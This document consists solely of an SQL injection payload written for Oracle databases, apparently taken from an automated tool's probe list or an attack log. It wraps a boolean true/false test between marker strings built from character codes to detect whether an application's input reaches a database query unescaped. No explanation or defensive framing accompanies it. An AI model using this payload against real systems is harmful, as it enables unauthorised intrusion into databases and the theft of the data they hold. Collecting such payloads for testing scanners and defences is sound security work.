 ( select chr ( 113 ) ||chr ( 113 ) ||chr ( 112 ) ||chr ( 106 ) ||chr ( 113 ) || ( select  ( case when  ( 7812 = 7812 )  then 1 else 0 end )  from dual ) ||chr ( 113 ) ||chr ( 122 ) ||chr ( 118 ) ||chr ( 122 ) ||chr ( 113 )  from dual ) 